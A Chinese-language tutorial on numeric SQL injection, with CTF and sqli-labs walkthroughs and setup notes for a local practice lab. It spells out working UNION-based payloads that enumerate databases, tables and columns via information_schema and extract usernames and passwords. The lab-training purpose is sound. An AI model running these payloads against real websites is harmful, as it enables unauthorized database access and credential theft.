请勿截屏传播

数字型

当后端代码为: $id=$_GET['id']; $sql="select *from article where id =$id; #特点: 1.参数没有单/双引号 2.直接把用户输入加到SQL 3.只要输入合法数字、构造SQL语法,就能执行

1.什么数字型

当后端代码为: $id=$_GET['id']; $sql="select *from article where id =$id; #特点: 1.参数没有单/双引号 2.直接把用户输入加到SQL 3.只要输入合法数字、构造SQL语法,就能执行

2.判断是否存在数字型

1.加 and 1=1 (页面正常) 2.加 and 1=2(页面报错/无数据/空白)一正一错说明存在数字型注入

3.解决步骤

1.猜字段数(order by)(n<m)

?id=1 order by n --正常 ?id=1 order by m --报错(说明字段数为m)

2.查显位(union select)

?id=-1 union select 1,2...n(页面显示2、3这类数字,就是可显示位)

3.查库名(database())

?id =-1 union select 1,database()

4.查表名

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名'

5.查字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='列名'

6.取数据

id=-1 union select 1,group_concat(字段名) from表名

4.ctfhub(数字型注入)

我们先输入1 给了 select * from news where id =1 我们判断是否存在数字注入,在url栏里先后输入?id =1 and 1=1, ?id=1 and 1=2 两次的结果是一正一错,说明存在数字型注入 接下来我们要猜字段数,先后输入?id=1 order by 1/2/3 发现当我们输入?id=1 order by 3时页面与之前的不一样,说明字段在2 接下来我们就可以查显位,我们尝试输入?id=-1 union select 1,2 我们发现返回了Data:2说明这是可显示位 这样以来我们就可以查库名,输入?id =-1 union select 1,database() 我们发现有个叫sqli的库,接下来我们查看该库的表名?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' 在sqli库里面我们发现了有flag的表,我们再看列名id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' 最终我们锁定在sqli库的flag表里发现flag并提取数据id=-1 union select 1,group_concat(flag) from flag

5.BUUCTF BUU SQL COURSE 1

我们点击测试新闻1/2/3发现url栏里content/后面的数字在变化,我们猜测是数字型注入 我们猜字数段,在url栏输入1 order by 1/2/3 说明字数段为2,接下来我们查显位,用到语句-1 union select 1,2 说明在2这个字段存在显示位,然后我们查库名-1 union select 1,database() 我们发现一个为news的库,那么接下来我们可以查找该库的表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news' 我们继续该表的字段名-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='contents' 回头再看看题目发现我们要登录,所以我们需要查看news库里的admin,则-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' 在admin表里面我们发现了,username和password字段,因此我们可以拿出里面的数据然后登录,-1 union select 1,group_concat(username,' ',password) from admin

输入用户名和密码

6.sqli-labs Less-2(数字型注入)

废话少说来感受第二题

我们在URL栏里面输入?id=1/2 说明与数字型有关,具体是不是数字型注入,我们继续验证?id=1 and 1=1/2 当变成1=2时页面报错,所以为数字型注入 接下来我们要猜数字段?id=1 order by 1/2/3/4 当我们输入4的时候页面报错,说明数字段在3,所以我们要查显位?id=-1 union select 1,2 ,3 在3处有显示位(回显),接下来我们要查库名?id=-1 union select 1,database(),3 我们在找到了一个叫security的库==(==?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata==这是数据库里所有的库)== 我们要在security库里查所有的表名?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 里面有3个表,接下来查看所有表的所有字段?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' 在users里面我们发现了username和password,我们最后提取其中的数据 ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

前言:搭建sqli-labs靶场

以phpstudy为例,sqli-labs的GitHub连接https://github.com/Audi-1/sqli-labs.git ![[sqli-labs-master.zip]] 下载好后把sqli-labs文件夹放到phpstudy的网站目录下(WWW)- 打开 sqli-labs 文件夹,找到 sql-connections 目录。

  • 用记事本等工具打开 db-creds.inc 文件
  • 修改文件里的数据库密码($dbpass),改成你phpstudy 里 MySQL 数据库的密码(默认通常是 root 或为空)

可能遇到的问题(1)

你的PHP环境找不到 mysqli_connect() 这个函数,原因是你的phpstudy版本过高

解决方案

1.
  1. 打开phpstudy面板,找到你当前正在使用的网站。
  2. 点击网站管理中的 “设置” 或 “管理” 按钮。
  3. 在弹出的菜单中,找到 “PHP扩展” 或类似的选项卡。
  4. 在列表中找到 mysqli,确保它前面的复选框是勾选状态
  5. 保存设置,并重启你的Web服务器(Apache或Nginx)。
  6. 刷新浏览器页面,看看错误是否消失。
2.降低php版本(可能会影响其他的项目)
  1. 在phpstudy面板的 “环境” 或 “PHP版本管理” 中。
  2. 安装并切换到 PHP 5.6.x 版本。
  3. 重启Web服务器。

可能遇到的问题(2)

PHP代码尝试连接名为 security 的数据库,但是连接失败了。这是搭建sqli-labs时非常经典的问题,解决起来也很简单 在WWW文件夹下创建一个test2.php的文件 `<?php include("sqli-labs-master/sql-connections/db-creds.inc");

echo "尝试连接MySQL服务器...
"; con1=mysqliconnect(con1 = mysqli_connect(host, dbuser,dbuser, dbpass);

if (!$con1) { die("连接失败!错误信息:" . mysqli_connect_error()); } else { echo "✅ MySQL服务器连接成功!

";

text
echo "尝试选择数据库:{$dbname}<br>";
$db_selected = mysqli_select_db($con1, $dbname);

if (!$db_selected) {
    echo "❌ 选择数据库失败!<br>";
    echo "错误信息:" . mysqli_error($con1) . "<br><br>";
    
    echo "正在检查数据库是否存在...<br>";
    $result = mysqli_query($con1, "SHOW DATABASES LIKE '{$dbname}'");
    if (mysqli_num_rows($result) > 0) {
        echo "✅ 数据库 '{$dbname}' 存在,但无法选择。可能有权限问题。<br>";
    } else {
        echo "❌ 数据库 '{$dbname}' 不存在!需要创建。<br>";
        echo "尝试创建数据库...<br>";
        if (mysqli_query($con1, "CREATE DATABASE {$dbname}")) {
            echo "✅ 数据库创建成功!<br>";
        } else {
            echo "❌ 创建失败:" . mysqli_error($con1) . "<br>";
        }
    }
} else {
    echo "✅ 成功选择数据库:{$dbname}<br>";
}

mysqli_close($con1);

} ?>`

PHP面向对象基础
字符型

评论区

评论加载中...